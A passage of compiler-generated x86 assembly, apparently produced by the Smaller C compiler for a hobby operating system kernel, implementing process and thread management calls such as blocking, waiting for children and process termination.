mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 32
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov al, [si]
movzx eax, al
cmp eax, 1
jne L66
; RPN'ized expression: "descThread pindx + *u &u trama -> *u tw -> *u &u DX -> *u 0 = "
; Expanded expression: "descThread L13 *(4) 40 * + 12 + *(4) 0 + 24 + 0 =(2) "
; Fused expression: "descThread push-ax L13 * *ax 40 + *sp ax + ax 12 + *ax 0 + ax 24 =(172) *ax 0 "
section .relod
dd L69
section .text
db 0x66, 0xB8
L69:
dd _descThread
push eax
section .relod
dd L70
section .text
db 0x66, 0xB8
L70:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
L66:
; RPN'ized expression: "tramaThread tw -> *u &u DX -> *u descProceso pindx + *u &u pid -> *u = "
; Expanded expression: "tramaThread *(4) 0 + 24 + descProceso L13 *(4) 292 * + 0 + *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 24 push-ax descProceso push-ax L13 * *ax 292 + *sp ax + ax 0 =(172) **sp *ax "
section .relod
dd L71
section .text
db 0x66, 0xB8
L71:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
push eax
section .relod
dd L72
section .text
db 0x66, 0xB8
L72:
dd _descProceso
push eax
section .relod
dd L73
section .text
db 0x66, 0xB8
L73:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; RPN'ized expression: "( buscarNuevoThreadActual ) "
; Expanded expression: " buscarNuevoThreadActual ()0 "
; Fused expression: "( buscarNuevoThreadActual )0 "
db 0x9A
section .relot
dd L74
section .text
L74:
dd _buscarNuevoThreadActual
; }
jmp L46
L45:
; else
; RPN'ized expression: "tramaThread tw -> *u &u DX -> *u pindx = "
; Expanded expression: "tramaThread *(4) 0 + 24 + L13 *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 24 push-ax L13 =(172) **sp *ax "
section .relod
dd L75
section .text
db 0x66, 0xB8
L75:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
push eax
section .relod
dd L76
section .text
db 0x66, 0xB8
L76:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
L46:
; break
jmp L16
; case
; RPN'ized expression: "2 "
; Expanded expression: "2 "
; Expression value: 2
L77:
; loc <something> : * char
; loc <something> : unsigned
; loc <something> : unsigned short
; loc <something> : * char
; loc <something> : unsigned
; loc <something> : unsigned short
; RPN'ized expression: "pindx ( indProcesoActual , tramaThread tw -> *u &u ES -> *u (something82) 16 << tramaThread tw -> *u &u DX -> *u (something83) | (something81) , tramaThread tw -> *u &u CX -> *u (something79) 16 << tramaThread tw -> *u &u BX -> *u (something80) | (something78) preEjecutar ) = "
; Expanded expression: "L13 indProcesoActual *(4) tramaThread *(4) 0 + 2 + *(2) 16 << tramaThread *(4) 0 + 24 + *(2) unsigned short | tramaThread *(4) 0 + 28 + *(2) 16 << tramaThread *(4) 0 + 20 + *(2) unsigned short | preEjecutar ()12 =(4) "
; Fused expression: "L13 push-ax ( indProcesoActual *(4) ax , tramaThread + *ax 0 + ax 2 << *ax 16 push-ax tramaThread + *ax 0 + ax 24 *(2) ax unsigned short | *sp ax , tramaThread + *ax 0 + ax 28 << *ax 16 push-ax tramaThread + *ax 0 + ax 20 *(2) ax unsigned short | *sp ax , preEjecutar )12 =(204) **sp ax "
section .relod
dd L84
section .text
db 0x66, 0xB8
L84:
dd L13
push eax
section .relod
dd L85
section .text
db 0x66, 0xB8
L85:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
section .relod
dd L86
section .text
db 0x66, 0xB8
L86:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 2
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
shl eax, 16
push eax
section .relod
dd L87
section .text
db 0x66, 0xB8
L87:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
movzx eax, ax
mov ecx, eax
pop eax
or eax, ecx
push eax
section .relod
dd L88
section .text
db 0x66, 0xB8
L88:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 28
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
shl eax, 16
push eax
section .relod
dd L89
section .text
db 0x66, 0xB8
L89:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
movzx eax, ax
mov ecx, eax
pop eax
or eax, ecx
push eax
db 0x9A
section .relot
dd L90
section .text
L90:
dd _preEjecutar
sub sp, -12
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; if
; RPN'ized expression: "pindx 5 -u < "
; Expanded expression: "L13 *(4) -5 < "
; Fused expression: "L13 < *ax -5 IF! "
section .relod
dd L93
section .text
db 0x66, 0xB8
L93:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -5
jge L91
; {
; RPN'ized expression: "descThread indThreadActual + *u &u estado -> *u bloqueado = "
; Expanded expression: "descThread indThreadActual *(4) 40 * + 4 + 3 =(4) "
; Fused expression: "descThread push-ax indThreadActual * *ax 40 + *sp ax + ax 4 =(204) *ax 3 "
section .relod
dd L94
section .text
db 0x66, 0xB8
L94:
dd _descThread
push eax
section .relod
dd L95
section .text
db 0x66, 0xB8
L95:
dd _indThreadActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 4
mov ebx, eax
mov eax, 3
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; loc <something> : int
; RPN'ized expression: "descThread indThreadActual + *u &u esperandoPor -> *u 2 -u (something96) = "
; Expanded expression: "descThread indThreadActual *(4) 40 * + 8 + -2 =(4) "
; Fused expression: "descThread push-ax indThreadActual * *ax 40 + *sp ax + ax 8 =(204) *ax -2 "
section .relod
dd L97
section .text
db 0x66, 0xB8
L97:
dd _descThread
push eax
section .relod
dd L98
section .text
db 0x66, 0xB8
L98:
dd _indThreadActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 8
mov ebx, eax
mov eax, -2
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; RPN'ized expression: "( indProcesoActual eliminarProcIndx ) "
; Expanded expression: " indProcesoActual *(4) eliminarProcIndx ()4 "
; Fused expression: "( indProcesoActual *(4) ax , eliminarProcIndx )4 "
section .relod
dd L99
section .text
db 0x66, 0xB8
L99:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L100
section .text
L100:
dd _eliminarProcIndx
sub sp, -4
; loc <something> : * struct <something>
; RPN'ized expression: "( descProceso indProcesoActual + *u &u c2cHijos -> *u &u (something101) , descProceso indProcesoActual + *u &u ppindx -> *u eliminarPC2c ) "
; Expanded expression: " descProceso indProcesoActual *(4) 292 * + 20 + descProceso indProcesoActual *(4) 292 * + 12 + *(4) eliminarPC2c ()8 "
; Fused expression: "( descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 20 , descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 12 *(4) ax , eliminarPC2c )8 "
section .relod
dd L102
section .text
db 0x66, 0xB8
L102:
dd _descProceso
push eax
section .relod
dd L103
section .text
db 0x66, 0xB8
L103:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 20
push eax
section .relod
dd L104
section .text
db 0x66, 0xB8
L104:
dd _descProceso
push eax
section .relod
dd L105
section .text
db 0x66, 0xB8
L105:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L106
section .text
L106:
dd _eliminarPC2c
sub sp, -8
; RPN'ized expression: "( buscarNuevoThreadActual ) "
; Expanded expression: " buscarNuevoThreadActual ()0 "
; Fused expression: "( buscarNuevoThreadActual )0 "
db 0x9A
section .relot
dd L107
section .text
L107:
dd _buscarNuevoThreadActual
; }
jmp L92
L91:
; else
; if
; RPN'ized expression: "pindx 0 < "
; Expanded expression: "L13 *(4) 0 < "
; Fused expression: "L13 < *ax 0 IF! "
section .relod
dd L110
section .text
db 0x66, 0xB8
L110:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 0
jge L108
; break
jmp L16
jmp L109
L108:
; else
; RPN'ized expression: "( pindx activarThread ) "
; Expanded expression: " L13 *(4) activarThread ()4 "
; Fused expression: "( L13 *(4) ax , activarThread )4 "
section .relod
dd L111
section .text
db 0x66, 0xB8
L111:
dd L13
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L112
section .text
L112:
dd _activarThread
sub sp, -4
L109:
L92:
; case
; RPN'ized expression: "3 "
; Expanded expression: "3 "
; Expression value: 3
L113:
; RPN'ized expression: "hpid tramaThread tw -> *u &u BX -> *u = "
; Expanded expression: "L12 tramaThread *(4) 0 + 20 + *(2) =(4) "
; Fused expression: "L12 push-ax tramaThread + *ax 0 + ax 20 =(202) **sp *ax "
section .relod
dd L114
section .text
db 0x66, 0xB8
L114:
dd L12
push eax
section .relod
dd L115
section .text
db 0x66, 0xB8
L115:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; RPN'ized expression: "hpindx ( hpid indice ) = "
; Expanded expression: "L14 L12 *(4) indice ()4 =(4) "
; Fused expression: "L14 push-ax ( L12 *(4) ax , indice )4 =(204) **sp ax "
section .relod
dd L116
section .text
db 0x66, 0xB8
L116:
dd L14
push eax
section .relod
dd L117
section .text
db 0x66, 0xB8
L117:
dd L12
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L118
section .text
L118:
dd _indice
sub sp, -4
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; if
; RPN'ized expression: "hpid 0 >= hpindx 1 -u == && "
; Expanded expression: "L12 *(4) 0 >= [sh&&->121] L14 *(4) -1 == &&[121] "
; Fused expression: "L12 >= *ax 0 [sh&&->121] L14 == *ax -1 &&[121] "
section .relod
dd L122
section .text
db 0x66, 0xB8
L122:
dd L12
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 0
setge al
movzx eax, al
; JumpIfZero
test eax, eax
je L121
section .relod
dd L123
section .text
db 0x66, 0xB8
L123:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -1
sete al
movzx eax, al
L121:
; JumpIfZero
test eax, eax
je L119
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u 1 -u = "
; Expanded expression: "tramaThread *(4) 0 + 20 + -1 =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 =(172) *ax -1 "
section .relod
dd L124
section .text
db 0x66, 0xB8
L124:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov eax, -1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
jmp L120
L119:
; else
; {
; if
; RPN'ized expression: "hpid 1 -u == "
; Expanded expression: "L12 *(4) -1 == "
; Fused expression: "L12 == *ax -1 IF! "
section .relod
dd L127
section .text
db 0x66, 0xB8
L127:
dd L12
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -1
jne L125
; {
; RPN'ized expression: "i 0 = "
; Expanded expression: "L10 0 =(4) "
; Fused expression: "L10 =(204) *ax 0 "
section .relod
dd L128
section .text
db 0x66, 0xB8
L128:
dd L10
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; while
; loc <something> : int
; RPN'ized expression: "i 16 < descProceso i + *u &u ppindx -> *u indProcesoActual != descThread i + *u &u estado -> *u bloqueado != || descThread i + *u &u esperandoPor -> *u 2 -u (something131) != || && "
; Expanded expression: "L10 *(4) 16 < [sh&&->132] descProceso L10 *(4) 292 * + 12 + *(4) indProcesoActual *(4) != [sh||->134] descThread L10 *(4) 40 * + 4 + *(4) 3 != ||[134] _Bool [sh||->133] descThread L10 *(4) 40 * + 8 + *(4) -2 != ||[133] _Bool &&[132] "
L129:
; Fused expression: "L10 < *ax 16 [sh&&->132] descProceso push-ax L10 * *ax 292 + *sp ax + ax 12 push-ax indProcesoActual != **sp *ax [sh||->134] descThread push-ax L10 * *ax 40 + *sp ax + ax 4 != *ax 3 ||[134] _Bool [sh||->133] descThread push-ax L10 * *ax 40 + *sp ax + ax 8 != *ax -2 ||[133] _Bool &&[132] "
section .relod
dd L135
section .text
db 0x66, 0xB8
L135:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 16
setl al
movzx eax, al
; JumpIfZero
test eax, eax
je L132
section .relod
dd L136
section .text
db 0x66, 0xB8
L136:
dd _descProceso
push eax
section .relod
dd L137
section .text
db 0x66, 0xB8
L137:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
push eax
section .relod
dd L138
section .text
db 0x66, 0xB8
L138:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ecx, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, ecx
setne al
movzx eax, al
; JumpIfNotZero
test eax, eax
jne L134
section .relod
dd L139
section .text
db 0x66, 0xB8
L139:
dd _descThread
push eax
section .relod
dd L140
section .text
db 0x66, 0xB8
L140:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 4
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 3
setne al
movzx eax, al
L134:
test eax, eax
setne al
movsx eax, al
; JumpIfNotZero
test eax, eax
jne L133
section .relod
dd L141
section .text
db 0x66, 0xB8
L141:
dd _descThread
push eax
section .relod
dd L142
section .text
db 0x66, 0xB8
L142:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 8
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -2
setne al
movzx eax, al
L133:
test eax, eax
setne al
movsx eax, al
L132:
; JumpIfZero
test eax, eax
je L130
; RPN'ized expression: "i ++p "
; Expanded expression: "L10 ++p(4) "
; Fused expression: "L10 ++p(4) *ax "
section .relod
dd L143
section .text
db 0x66, 0xB8
L143:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
inc dword [si]
jmp L129
L130:
; if
; RPN'ized expression: "i 16 < "
; Expanded expression: "L10 *(4) 16 < "
; Fused expression: "L10 < *ax 16 IF! "
section .relod
dd L146
section .text
db 0x66, 0xB8
L146:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 16
jge L144
; RPN'ized expression: "hpindx i = "
; Expanded expression: "L14 L10 *(4) =(4) "
; Fused expression: "L14 push-ax L10 =(204) **sp *ax "
section .relod
dd L147
section .text
db 0x66, 0xB8
L147:
dd L14
push eax
section .relod
dd L148
section .text
db 0x66, 0xB8
L148:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
jmp L145
L144:
; else
; RPN'ized expression: "hpindx 1 -u = "
; Expanded expression: "L14 -1 =(4) "
; Fused expression: "L14 =(204) *ax -1 "
section .relod
dd L149
section .text
db 0x66, 0xB8
L149:
dd L14
mov ebx, eax
mov eax, -1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
L145:
; }
L125:
; if
; loc <something> : int
; RPN'ized expression: "hpindx 1 -u != descProceso hpindx + *u &u ppindx -> *u indProcesoActual == && descThread hpindx + *u &u estado -> *u bloqueado == && descThread hpindx + *u &u esperandoPor -> *u 2 -u (something152) == && "
; Expanded expression: "L14 *(4) -1 != [sh&&->155] descProceso L14 *(4) 292 * + 12 + *(4) indProcesoActual *(4) == &&[155] _Bool [sh&&->154] descThread L14 *(4) 40 * + 4 + *(4) 3 == &&[154] _Bool [sh&&->153] descThread L14 *(4) 40 * + 8 + *(4) -2 == &&[153] "
; Fused expression: "L14 != *ax -1 [sh&&->155] descProceso push-ax L14 * *ax 292 + *sp ax + ax 12 push-ax indProcesoActual == **sp *ax &&[155] _Bool [sh&&->154] descThread push-ax L14 * *ax 40 + *sp ax + ax 4 == *ax 3 &&[154] _Bool [sh&&->153] descThread push-ax L14 * *ax 40 + *sp ax + ax 8 == *ax -2 &&[153] "
section .relod
dd L156
section .text
db 0x66, 0xB8
L156:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -1
setne al
movzx eax, al
; JumpIfZero
test eax, eax
je L155
section .relod
dd L157
section .text
db 0x66, 0xB8
L157:
dd _descProceso
push eax
section .relod
dd L158
section .text
db 0x66, 0xB8
L158:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 12
push eax
section .relod
dd L159
section .text
db 0x66, 0xB8
L159:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ecx, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, ecx
sete al
movzx eax, al
L155:
test eax, eax
setne al
movsx eax, al
; JumpIfZero
test eax, eax
je L154
section .relod
dd L160
section .text
db 0x66, 0xB8
L160:
dd _descThread
push eax
section .relod
dd L161
section .text
db 0x66, 0xB8
L161:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 4
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 3
sete al
movzx eax, al
L154:
test eax, eax
setne al
movsx eax, al
; JumpIfZero
test eax, eax
je L153
section .relod
dd L162
section .text
db 0x66, 0xB8
L162:
dd _descThread
push eax
section .relod
dd L163
section .text
db 0x66, 0xB8
L163:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 40
mov ecx, eax
pop eax
add eax, ecx
add eax, 8
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -2
sete al
movzx eax, al
L153:
; JumpIfZero
test eax, eax
je L150
; {
; RPN'ized expression: "tramaThread tw -> *u &u AX -> *u descProceso hpindx + *u &u status -> *u = "
; Expanded expression: "tramaThread *(4) 0 + 32 + descProceso L14 *(4) 292 * + 8 + *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 32 push-ax descProceso push-ax L14 * *ax 292 + *sp ax + ax 8 =(172) **sp *ax "
section .relod
dd L164
section .text
db 0x66, 0xB8
L164:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 32
push eax
section .relod
dd L165
section .text
db 0x66, 0xB8
L165:
dd _descProceso
push eax
section .relod
dd L166
section .text
db 0x66, 0xB8
L166:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 8
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u descProceso hpindx + *u &u pid -> *u = "
; Expanded expression: "tramaThread *(4) 0 + 20 + descProceso L14 *(4) 292 * + 0 + *(4) =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 push-ax descProceso push-ax L14 * *ax 292 + *sp ax + ax 0 =(172) **sp *ax "
section .relod
dd L167
section .text
db 0x66, 0xB8
L167:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
push eax
section .relod
dd L168
section .text
db 0x66, 0xB8
L168:
dd _descProceso
push eax
section .relod
dd L169
section .text
db 0x66, 0xB8
L169:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; RPN'ized expression: "( hpindx eliminarProcIndx ) "
; Expanded expression: " L14 *(4) eliminarProcIndx ()4 "
; Fused expression: "( L14 *(4) ax , eliminarProcIndx )4 "
section .relod
dd L170
section .text
db 0x66, 0xB8
L170:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L171
section .text
L171:
dd _eliminarProcIndx
sub sp, -4
; loc <something> : * struct <something>
; RPN'ized expression: "( descProceso indProcesoActual + *u &u c2cHijos -> *u &u (something172) , hpindx eliminarPC2c ) "
; Expanded expression: " descProceso indProcesoActual *(4) 292 * + 20 + L14 *(4) eliminarPC2c ()8 "
; Fused expression: "( descProceso push-ax indProcesoActual * *ax 292 + *sp ax + ax 20 , L14 *(4) ax , eliminarPC2c )8 "
section .relod
dd L173
section .text
db 0x66, 0xB8
L173:
dd _descProceso
push eax
section .relod
dd L174
section .text
db 0x66, 0xB8
L174:
dd _indProcesoActual
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 20
push eax
section .relod
dd L175
section .text
db 0x66, 0xB8
L175:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L176
section .text
L176:
dd _eliminarPC2c
sub sp, -8
; }
jmp L151
L150:
; else
; {
; RPN'ized expression: "noStatus tramaThread tw -> *u &u DX -> *u = "
; Expanded expression: "L15 tramaThread *(4) 0 + 24 + *(2) =(4) "
; Fused expression: "L15 push-ax tramaThread + *ax 0 + ax 24 =(202) **sp *ax "
section .relod
dd L177
section .text
db 0x66, 0xB8
L177:
dd L15
push eax
section .relod
dd L178
section .text
db 0x66, 0xB8
L178:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 24
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov ax, [si]
movzx eax, ax
pop ebx
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; if
; RPN'ized expression: "hpid 1 -u != "
; Expanded expression: "L12 *(4) -1 != "
; Fused expression: "L12 != *ax -1 IF! "
section .relod
dd L181
section .text
db 0x66, 0xB8
L181:
dd L12
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, -1
je L179
; {
; if
; RPN'ized expression: "noStatus "
; Expanded expression: "L15 *(4) "
; Fused expression: "L15 *(4) ax "
section .relod
dd L184
section .text
db 0x66, 0xB8
L184:
dd L15
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
; JumpIfZero
test eax, eax
je L182
; {
; RPN'ized expression: "descProceso hpindx + *u &u noStatus -> *u TRUE = "
; Expanded expression: "descProceso L14 *(4) 292 * + 4 + 1 =(4) "
; Fused expression: "descProceso push-ax L14 * *ax 292 + *sp ax + ax 4 =(204) *ax 1 "
section .relod
dd L185
section .text
db 0x66, 0xB8
L185:
dd _descProceso
push eax
section .relod
dd L186
section .text
db 0x66, 0xB8
L186:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
imul eax, eax, 292
mov ecx, eax
pop eax
add eax, ecx
add eax, 4
mov ebx, eax
mov eax, 1
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; RPN'ized expression: "tramaThread tw -> *u &u BX -> *u 0 = "
; Expanded expression: "tramaThread *(4) 0 + 20 + 0 =(2) "
; Fused expression: "tramaThread + *ax 0 + ax 20 =(172) *ax 0 "
section .relod
dd L187
section .text
db 0x66, 0xB8
L187:
dd _tramaThread
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
add eax, 20
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], ax
movzx eax, ax
; }
jmp L183
L182:
; else
; RPN'ized expression: "( hpindx bloquearEsperandoHijo ) "
; Expanded expression: " L14 *(4) bloquearEsperandoHijo ()4 "
; Fused expression: "( L14 *(4) ax , bloquearEsperandoHijo )4 "
section .relod
dd L188
section .text
db 0x66, 0xB8
L188:
dd L14
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
push dword [si]
db 0x9A
section .relot
dd L189
section .text
L189:
dd _bloquearEsperandoHijo
sub sp, -4
L183:
; }
jmp L180
L179:
; else
; if
; RPN'ized expression: "noStatus "
; Expanded expression: "L15 *(4) "
; Fused expression: "L15 *(4) ax "
section .relod
dd L192
section .text
db 0x66, 0xB8
L192:
dd L15
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
; JumpIfZero
test eax, eax
je L190
; {
; RPN'ized expression: "i 0 = "
; Expanded expression: "L10 0 =(4) "
; Fused expression: "L10 =(204) *ax 0 "
section .relod
dd L193
section .text
db 0x66, 0xB8
L193:
dd L10
mov ebx, eax
mov eax, 0
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov [si], eax
; while
; RPN'ized expression: "i 16 < "
; Expanded expression: "L10 *(4) 16 < "
L194:
; Fused expression: "L10 < *ax 16 IF! "
section .relod
dd L196
section .text
db 0x66, 0xB8
L196:
dd L10
mov ebx, eax
mov esi, ebx
ror esi, 4
mov ds, si
shr esi, 28
mov eax, [si]
cmp eax, 16
jge L195
; {
; if
; RPN'ized expression: "descProceso i + *u &u ppindx -> *u indProcesoActual == "
